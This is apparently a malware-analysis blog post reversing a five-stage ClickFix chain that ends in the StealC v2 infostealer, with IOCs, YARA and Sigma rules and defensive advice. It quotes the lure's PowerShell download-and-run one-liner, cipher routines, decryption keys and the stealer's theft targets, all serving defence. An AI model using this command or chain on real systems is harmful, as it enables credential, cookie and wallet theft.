Post

Five layers deep for a stealer: reversing the "PuppetKing" ClickFix chain that ended in StealC

Five-stage ClickFix chain reversed statically - game decoy, bitmap stego, custom ConfuserEx, bespoke byte cipher, and StealC v2 with blockchain-rotated C2.

Five layers deep for a stealer: reversing the "PuppetKing" ClickFix chain that ended in StealC

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.


TL;DR

A ClickFix lure on compromised WordPress sites delivers a five-stage loader chain ending in StealC v2 infostealer. The PuppetKing campaign stands out for its C2 resilience: the active domain lives in a Polygon smart contract (0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2) so the operator rotates it with one on-chain transaction, no redeployment needed. The full chain was reversed statically - ConfuserEx proxy-call emulation, a custom byte stream cipher, and RC4 string decryption recovered the StealC C2 at hxxp://151.243.18[.]28/4940cc4b5ddb4a2bb8f8.php.

If this is your fleet, do these first:

  • Enable PowerShell Script Block Logging (Event ID 4104) - catches iex(irm ...) decoded in plaintext even when obfuscated on disk
  • Alert on MSBuild.exe, RegSvcs.exe, and vbc.exe running with no project file argument and network egress
  • Block 178.16.52[.]101 and 151.243.18[.]28 at the perimeter; alert on *.beer DNS queries from user endpoints

Full IOCs and detection rules at the bottom.

Defender quick reference

FieldDetails
Activity typeMulti-stage ClickFix loader chain -> StealC v2 infostealer
Primary artifactsiex(irm ...) PowerShell stager; MSBuild.exe / RegSvcs.exe / vbc.exe as process-hollow host; HKCU\...\CurrentVersion\Run persistence; %TEMP%\<random> staging directory
C2 (defanged)Loader: code.verification-claude-cdn[.]beer (blockchain-rotated); StealC: hxxp://151.243.18[.]28/4940cc4b5ddb4a2bb8f8.php
VerdictMalicious - confirmed StealC v2 infostealer (ThreatFox IOC 1829974)
ConfidenceHigh - infrastructure confirmed via blockchain; full payload chain confirmed via static reversing
Key logsPowerShell/Operational 4104; Security 4688 / Sysmon 1 (process creation); Sysmon 13 (registry); proxy / DNS
ATT&CKT1204.004, T1059.001, T1568.003, T1027.003, T1055.012, T1127.001, T1547.001, T1555.003, T1539, T1071.001
First defender actionsBlock loader and StealC IPs; hunt iex(irm in clipboard history and PowerShell logs; alert on LOLBin process lineage without matching project file
Detection opportunitiesYARA rule (below); Sigma rule (below); Sysmon 13 on RunKey; non-browser process reading Login Data or Local State
False-positive notesiex+irm Sigma filter excludes microsoft.com; LOLBin alert - exclude builds with .csproj / .vbproj arguments and known CI pipelines

Every so often a sample comes along that feels less like a payload and more like a chore. This was one of those.

It started as a boring-looking ClickFix lure - the “paste this into Run to verify you’re human” trick we’ve all seen a hundred times. What it unwrapped into was five distinct layers of obfuscation, a French medieval strategy game, two stego-laden bitmaps, a custom-modified ConfuserEx, a bespoke byte cipher I had to recover instruction-by-instruction, and finally a native C++ infostealer that RC4-encrypts its own strings. The whole way down, the actor kept making me work for it - Yuk!

I reversed the entire chain statically - I never once detonated the sample. Partly principle, partly because by the time I’d hit layer three I genuinely wanted to beat it on its own terms. This post is the story of that grind, the techniques that mattered, and - the part that actually counts - what you can do about it if something like this lands in your environment.

Let’s dig in.

The attack at a glance

Top to bottom, here’s the shape of it:

  1. ClickFix lure on compromised WordPress sites -> victim pastes a PowerShell one-liner into Run.
  2. PowerShell stager pulls the next stage from a C2 whose domain is resolved from a smart contract on the Polygon blockchain - so the operator can rotate it without redeploying anything.
  3. PuppetKing.exe - a fully playable French strategy game (“Le Roi Fantoche”) that hides two payloads steganographically inside bitmap resources (Yuk!)
  4. Bitmap #1 -> a fake calculator (.NET) that decrypts bitmap #2 with a custom XOR routine.
  5. Bitmap #2 -> a loader/injector (.NET, protected with a hardened ConfuserEx) disguised as an epidemiology simulator.
  6. The loader decrypts a 4th-stage native PE and process-hollows it into a signed .NET utility (MSBuild.exe / RegSvcs.exe / vbc.exe).
  7. The payload is StealC v2, which beacons to an HTTP C2 on completely separate hosting.

How it works

Initial access - ClickFix, with a blockchain twist

The entry point is social engineering: a compromised WordPress site serves a fake “verify you are human” overlay and asks the victim to press Win+R and paste a command. The command itself is the giveaway:

1
iex(irm 'code.verification-claude-cdn[.]beer/d72f6d2c9f928728' -UseBasicParsing)<#Verification ID:d72f6d2c9f928728#>

irm is Invoke-RestMethod (an HTTP GET), iex is Invoke-Expression (run whatever comes back). The <#...#> is a PowerShell comment - purely there so the victim sees an official-looking “Verification ID”. The 16-character hex token in the path is a victim-specific session ID; the server validates it and returns the stager, then 404s it so analysts can’t replay the request later.

The clever bit is upstream of this. The lure doesn’t hardcode the C2 domain. The injected JavaScript queries a smart contract on the Polygon blockchain (0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2) which stores the currently-active C2 domain. Want to rotate infrastructure after a takedown? Push one cheap transaction. There’s no domain in the malware to seize and no central resolver to sinkhole. Annoying, and genuinely clever.

The decoy - a working video game

The downloaded payload (PuppetKing.exe) is a fully functional .NET game, “Puppet King - Le Roi Fantoche”, complete with Gallo-Roman provinces and an espionage system. It’s a great cover: if you run it, it plays. Hidden in its resources are two bitmaps, T6 and oCCI, that aren’t images at all - they’re payloads encoded into the pixel bytes (steganography).

The first bitmap decodes (column-major, RGB bytes) into a second .NET assembly - a “Multi-Tab Calculator”. That calculator’s only real job is to crop and read the second bitmap and decrypt it with a routine the author cutely named Mist:

1
2
3
// Mist(): XOR each byte with (lastByte ^ 0x70), cycling a UTF-16BE key
int modifier = fog[fog.Length - 1] ^ 112;       // key derived from the data's own tail
// out[i] = fog[i] ^ modifier ^ key[i % keyLen]; trailing byte stripped

That yields the third stage. So far: a game, that hides a calculator, that hides a loader. Three decoy applications stacked on top of each other before any malicious code runs.

The grind - where this stopped being fun

Stage 3 (stage3.dll) is the loader, and it’s protected with a modified ConfuserEx. This is where I lost hours.

First, the standard play: run it through de4dot. Nothing. Then de4dot-cex, the ConfuserEx-aware fork. Also nothing - the constants stayed encrypted and the method calls stayed wrapped in proxies. Whoever built this had tampered with ConfuserEx enough to break the off-the-shelf unpackers.

So I did it by hand. The string constants turned out to be LZMA-compressed then xorshift-encrypted (classic ConfuserEx) - I reimplemented the xorshift + LZMA in Python and got all 64 strings back. Good. That gave me the keys and confirmed the loader’s job (RunPE into MSBuild/RegSvcs/vbc, Run-key persistence) - but the actual payload decryption was hidden behind ConfuserEx’s proxy-call obfuscation: every meaningful call goes through a delegate that’s wired up at runtime by a resolver function. Statically, you can’t see what’s being called.

The honest options were: run it (no thanks), or emulate the resolver. I wrote a small CIL interpreter in Python and executed the resolver method itself - not the malware, just the ~600 instructions of its proxy-setup routine - to rebuild the lookup table mapping each proxy to its real target. 1,211 entries later, the two functions I cared about resolved to a “read this resource” and a “decrypt with this key”.

And the decryptor wasn’t AES (the AES code in the binary was a decoy for config strings). It was a custom in-place byte cipher:

1
2
3
4
# stage 4 decryption -- key = ASCII("kscUQgiEmD")
for i in range(len(data) + 1):          # note: INCLUSIVE -- index 0 is processed twice
    idx = i % len(data)
    data[idx] = ((data[idx] ^ key[i % len(key)]) - data[(i + 1) % len(data)] + 256) % 256

See that + 1? I didn’t, at first. My output was a perfect PE header except the very first byte was 0xC0 instead of 0x4D (“M”). Every other byte was right. I burned far too long on that single byte before spotting that the loop bound was i <= length, not i < length, so index 0 gets transformed first and last. One off-by-one in the malware, faithfully reproduced, and suddenly: MZ. A clean native PE.

The payload - StealC v2

Stage 4 is a native x86-64 C++ binary, delivered by hollowing it into a signed .NET utility. The build path gave it away instantly: C:\builder_v2\stealc\json.h. This is StealC v2, the version of this stealer-as-a-service that landed in March 2025.

Naturally, its strings are encrypted too - one more layer. StealC v2 stores each sensitive string as Base64 of an RC4 ciphertext, with a single hardcoded RC4 key. I pulled the decompilation apart in Ghidra, found the routine, and the key was sitting there in plaintext: SdrHT8fDmGQz9AKgYb. Reimplemented it, decrypted all 292 strings, and there was the C2:

1
2
hxxp://151.243.18[.]28/4940cc4b5ddb4a2bb8f8.php      # JSON over HTTP
build / botnet ID: 500d26e43f8f42d8a17f

StealC v2 steals browser logins/cookies/autofill, crypto wallets, Steam tokens, Outlook and WinSCP/FileZilla creds, and it goes after Chrome’s App-Bound Encryption - the string "app_bound_encrypted_key" is right there. Worth being precise about the mechanism: this build exfiltrates the encrypted ABE key blob for offline decryption. The on-host bypass machinery (IElevator, elevation_service, elevation CLSID) is absent - the blob goes out encrypted and gets cracked elsewhere, using the DPAPI material StealC also steals. It grabs multi-monitor screenshots and ships a full host fingerprint. Everything I recovered statically matched the public write-ups of v2 to the letter.

One more thing worth calling out: the infrastructure is split in two. The whole ClickFix/blockchain/loader apparatus lives on one provider (Omegatech, the .beer farm); the StealC C2 lives on a completely different one (DEDIK Services). Different ASNs, countries, registrants. That separation tells me this is most likely a delivery/crypter service dropping StealC for a paying customer - the person who built the clever loader and the person running the stealer panel are probably not the same people.

Techniques observed (MITRE ATT&CK)

The following techniques have been mapped to MITRE ATT&CK for reference. ClickFix paste-and-run maps cleanly to the newer T1204.004 (Malicious Copy and Paste).

TacticTechniqueATT&CK IDWhat it did here
Initial AccessPhishingT1566ClickFix lure on compromised WordPress
ExecutionMalicious Copy-PasteT1204.004Victim pastes the command into Win+R
ExecutionPowerShellT1059.001iex(irm ...) download-and-run stager
Command & ControlDynamic ResolutionT1568.003C2 domain stored on a Polygon smart contract
Defense EvasionSteganographyT1027.003Payloads hidden in bitmap pixel data
Defense EvasionObfuscated/encrypted payloadsT1027ConfuserEx + custom byte cipher + RC4 strings
Defense EvasionReflective code loadingT1620.NET Assembly.Load of decrypted stages
Defense EvasionProcess hollowingT1055.012RunPE into MSBuild/RegSvcs/vbc
Defense EvasionTrusted dev utilitiesT1127.001MSBuild used as the injection host
PersistenceRegistry Run keyT1547.001Loader writes a ...\CurrentVersion\Run entry
Credential AccessCredentials from browsersT1555.003StealC harvests saved logins / ABE keys
CollectionSteal web session cookieT1539Cookie theft for session hijacking
Command & ControlWeb protocolsT1071.001HTTP/JSON beacon to a bare-IP .php gate

Why this matters

Strip away the theatrics and this is a credential-and-wallet heist. The end state is StealC sitting on a workstation, quietly shipping out every saved browser password, session cookie, crypto wallet, and Steam token it can find - including the encrypted App-Bound Encryption key blob Chrome introduced to protect those credentials.

Stolen session cookies are the nasty part: they let an attacker resume an authenticated session without ever touching the password or the MFA prompt. So a single paste into the Run box can turn into drained wallets, hijacked accounts, and an initial foothold that gets sold on to whoever buys next. The layering and the blockchain-resolved C2 aren’t just showing off - they’re there to keep the operation alive through takedowns and to make exactly this analysis as slow and painful as possible. It nearly worked.

What defenders can do

The good news: for all the cleverness in the evasion, the execution path is boringly conventional, and that’s where you stop it. Here’s what I’d implement or review if this were my estate.

Technique (ATT&CK)What to doEssential EightWhat to hunt for
Malicious copy-paste / PowerShell (T1204.004, T1059.001)Constrained Language Mode; block .ps1 and script execution from user-writable paths via WDAC/AppLockerApplication Control (ML1)Script Block Logging 4104; powershell.exe with parent explorer.exe
Process hollowing into dev utilities (T1055.012, T1127.001)App-control / constrain MSBuild, RegSvcs, vbc; enable ASR “Block process creations from PSExec/WMI” and LSASS rulesApplication Control (ML1+); User Application Hardeningmsbuild.exe/regsvcs.exe/vbc.exe with no project file, network egress, or odd parents
Run-key persistence (T1547.001)App-control blocks the payload; baseline autorunsApplication Control; Restrict Administrative PrivilegesSysmon 13 on ...\CurrentVersion\Run
Browser credential / cookie theft (T1555.003, T1539)Keep browsers patched (ABE is only as good as the version); phishing-resistant MFA to blunt stolen cookiesPatch Applications; Multi-Factor AuthenticationProcess reads of Login Data / Local State by non-browser processes
HTTP/JSON C2 to a bare IP (T1071.001)Default-deny egress; proxy + DNS reputation; treat clear-text HTTP to a raw IP as an anomalyNo clean E8 home - network architectureProxy logs: POST to hxxp://<ip>/<hex>.php, periodic same-shape beacons
Steganography & blockchain C2 (T1027.003, T1568.003)No clean E8 home - lean on execution control + egressNo clean E8 homeEndpoints making Polygon RPC calls; unusual *.beer/bare-IP resolutions

Application control is the single highest-value control here, and it bites in multiple places. The Essential Eight Maturity Model (November 2023) is explicit at Maturity Level 1 that “Application control restricts the execution of executables, software libraries, scripts, installers, compiled HTML, HTML applications and control panel applets to an organisation-approved set” and is “applied to user profiles and temporary folders used by operating systems, web browsers and email clients.” That one control breaks this chain at the PowerShell stager and at the final injected binary. See Implementing Application Control (November 2023) and Securing PowerShell in the Enterprise (October 2021).

Restrict PowerShell. Constrained Language Mode strips the .NET surface ([Convert], [Scriptblock]::Create, reflection) that iex(irm ...) and every downstream loader relies on. Even when prevention fails, Script Block Logging (Event ID 4104) records the decoded script body - the deobfuscation happens for you, in your logs.

Hollowing hides in trusted utilities, so watch the utilities. MSBuild.exe, RegSvcs.exe, and vbc.exe are textbook examples of LOLBins and living-off-the-land tradecraft - signed Windows build utilities repurposed as injection hosts precisely because they’re trusted by default. There’s rarely a legitimate reason for any of them to run on a finance or reception workstation with no project file and an outbound connection. Constrain them with application control and Microsoft’s ASR rules (User Application Hardening, per the Hardening Microsoft Windows 11 Workstations guide, September 2025), and alert on the process lineage. A game executable spawning vbc.exe spawning network traffic is not a thing that happens by accident.

Assume the cookie is already gone, and make it worthless. App-Bound Encryption raises the bar - this build doesn’t attempt an on-host bypass; it exfiltrates the encrypted ABE blob and relies on offline decryption using stolen DPAPI material instead. Keep browsers patched regardless (Patch Applications), but the durable control is phishing-resistant MFA (E8 strategy 7, per Implementing Multi-Factor Authentication, November 2023): if a stolen session cookie still can’t get past a hardware-backed re-auth on the sensitive stuff, you’ve capped the blast radius.

The C2 and the stego have no clean Essential Eight home - and that’s fine to say. Clear-text HTTP to a bare IP with a hex .php path is about as anomalous as egress gets; a default-deny proxy with DNS reputation handles the category. The blockchain resolution is genuinely hard to block at the network edge, which is exactly why stopping execution earlier matters so much.

Hunting and detection summary

  • PowerShell Script Block Logging - Event ID 4104: decoded iex(irm ...) bodies; any download-and-execute one-liner.
  • Process creation - 4688 / Sysmon 1: powershell.exe with parent explorer.exe (the Win+R tell); msbuild.exe/regsvcs.exe/vbc.exe with no project argument, odd parents, or network activity; a GUI “game” spawning a .NET compiler utility.
  • Sysmon 13 (registry): writes to ...\CurrentVersion\Run.
  • File access: non-browser processes opening Login Data / Local State / wallet paths / steam_tokens.txt.
  • Proxy / network: HTTP POST to hxxp://151.243.18[.]28/4940cc4b5ddb4a2bb8f8.php, Content-Type: application/json; periodic identical-shape beacons; clear-text HTTP to bare IPs; Polygon RPC calls from user endpoints; DNS for *.beer / the farm domains below.

The YARA rules, Sigma detections, KQL queries, and IOC list for this campaign are also available in the companion detection repo.

Indicators of Compromise

TypeIndicatorNotes
URLhxxp://151.243.18[.]28/4940cc4b5ddb4a2bb8f8.phpStealC v2 C2 (ThreatFox IOC 1829974); /passive secondary
IP151.243.18[.]28StealC C2 - AS207043 DEDIK SERVICES LIMITED
IP178.16.52[.]101Loader/ClickFix C2 - AS202412 Omegatech LTD
Domaincode.verification-claude-cdn[.]beerClickFix/loader C2 (blockchain-rotated)
Domainanlytic-js-cloud[.]beer, xdavnode[.]pro, testapi34726[.]sbsRelated farm infrastructure
Domainai-nexora[.]sbs, cdn-verification-cloud[.]boats, verification-js-cdn[.]boats, nexus-server[.]clickRelated farm infrastructure (2026-06-25 pivot)
Contract0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2Polygon C2 resolver (selector 0xb68d1809)
SHA256a718feaaaa975fc1b9aa069be3cd7ddfff84a7b9ff0e2dd58b0cd94929a43398Decrypted StealC stage 4
Build ID500d26e43f8f42d8a17fStealC botnet/build identifier
KeySdrHT8fDmGQz9AKgYbStealC RC4 string key (cross-sample pivot)
KeykscUQgiEmDStage-4 custom-cipher key
PathC:\builder_v2\stealc\json.hStealC v2 build artifact
Registry...\CurrentVersion\Run (random value)Loader persistence
InjectionMSBuild.exe / RegSvcs.exe / vbc.exeProcess-hollowing hosts

Detection rules

A quick YARA stub for the decrypted StealC stage 4 (the build path + the RC4 key are both strong, low-noise anchors):

rule StealC_v2_PuppetKing_chain {
    meta:
        description = "StealC v2 payload from the PuppetKing/ClickFix chain"
        author      = "Luke Wilkinson"
        date        = "2026-06-25"
        reference   = "verification-claude-cdn[.]beer campaign"
    strings:
        $build  = "C:\\builder_v2\\stealc" ascii
        $abe    = "app_bound_encrypted_key" ascii
        $rc4key = "SdrHT8fDmGQz9AKgYb" ascii
        $steam  = "steam_tokens.txt" ascii
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

rule PuppetKing_ClickFix_PS_Stager {
    meta:
        description = "Detects PuppetKing ClickFix PowerShell delivery pattern"
        author      = "Luke Wilkinson"
        date        = "2026-06-24"
        reference   = "code.verification-claude-cdn[.]beer / code-verification-js[.]beer campaign"
        tlp         = "TLP:WHITE"

    strings:
        // IEX+IRM stager pattern with UseBasicParsing
        $ps_stager = "iex(irm '" ascii nocase
        $ps_param  = "-UseBasicParsing" ascii nocase
        // Verification ID comment pattern
        $comment   = "<#Verification ID:" ascii
        // .beer TLD C2 domains
        $c2_1      = "verification-claude-cdn.beer" ascii nocase
        $c2_2      = "verification-js.beer" ascii nocase
        // 16-hex victim token pattern
        $token_fmt = /[0-9a-f]{16}/

    condition:
        ($ps_stager and $ps_param) or
        ($comment and $token_fmt) or
        any of ($c2_*)
}

rule PuppetKing_Blockchain_C2 {
    meta:
        description = "Detects PuppetKing Polygon blockchain C2 resolver pattern"
        author      = "Luke Wilkinson"
        date        = "2026-06-24"

    strings:
        $contract = "B6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2" ascii nocase
        $selector = "b68d1809" ascii nocase
        $wallet   = "caf2c54e400437da717cf215181b170f65187abf" ascii nocase

    condition:
        any of them
}

A Sigma sketch for the execution behaviour:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
title: PuppetKing ClickFix PowerShell Stager
id: a4f2e8b1-9c3d-4a1f-b7e2-0d5c6a8f1234
status: experimental
description: Detects PuppetKing ClickFix paste-and-run PowerShell execution
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - 'iex'
            - 'irm'
            - 'UseBasicParsing'
    filter_legitimate:
        CommandLine|contains: 'microsoft.com'
    condition: selection and not filter_legitimate
falsepositives:
    - Rare legitimate PowerShell automation using irm+iex pattern
level: high
tags:
    - attack.initial_access
    - attack.t1204.004
    - attack.execution
    - attack.t1059.001

A companion rule for LOLBin process hollowing - pair msbuild.exe/regsvcs.exe/vbc.exe image events with a network-connection event and the absence of a .csproj/.vbproj argument in your process-creation pipeline.

Closing

If there’s one thing to take from this, it’s that the attacker spent their entire budget on not being analysed - blockchain C2, three decoy apps, a tampered ConfuserEx, a custom cipher with a deliberate off-by-one, RC4’d strings - and almost none of it on not being executed. Application control and Constrained Language Mode would have ended the whole thing at the PowerShell stager, before any of the clever stuff got a chance to run. The flashy evasion is a distraction from a very ordinary execution path.

This was the most fun I’ve had with a sample in a while, and the most frustrated. Beating it without ever running it felt like the right kind of stubborn.

Stay curious, and watch your Run boxes.

  • Luke

On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.

References

  • ThreatFox IOC 1829974 - StealC C2: https://threatfox.abuse.ch/ioc/1829974/
  • Zscaler ThreatLabz - I StealC You: Tracking the Rapid Changes to StealC
  • Picus Security - StealC v2 Enhances Stealth and Expands Data Theft Features
  • BleepingComputer - StealC malware enhanced with stealth upgrades
  • T3CH / Pavol Kluka - Analyzing StealC v2 which uses RC4
  • MITRE ATT&CK - T1204.004, T1059.001, T1055.012, T1127.001, T1568.003, T1027.003, T1620, T1555.003: https://attack.mitre.org
  • ASD/ACSC - Essential Eight Maturity Model (Nov 2023): https://www.cyber.gov.au/business-government/asds-cyber-security-frameworks/essential-eight/essential-eight-maturity-model
  • ASD/ACSC - Implementing Application Control (Nov 2023): https://www.cyber.gov.au/business-government/protecting-devices-systems/hardening-systems-applications/system-hardening/implementing-application-control
  • ASD/ACSC - Securing PowerShell in the Enterprise (Oct 2021): https://www.cyber.gov.au/acsc/view-all-content/publications/securing-powershell-enterprise
  • ASD/ACSC - Implementing Multi-Factor Authentication (Nov 2023): https://www.cyber.gov.au/business-government/protecting-devices-systems/hardening-systems-applications/system-hardening/implementing-multi-factor-authentication
  • ASD/ACSC - Hardening Microsoft Windows 11 Workstations (Sep 2025): https://www.cyber.gov.au/resources-business-and-government/maintaining-devices-and-systems/system-hardening-and-administration/system-hardening/hardening-microsoft-windows-10-version-21h1-workstations
This post is licensed under CC BY 4.0 by the author.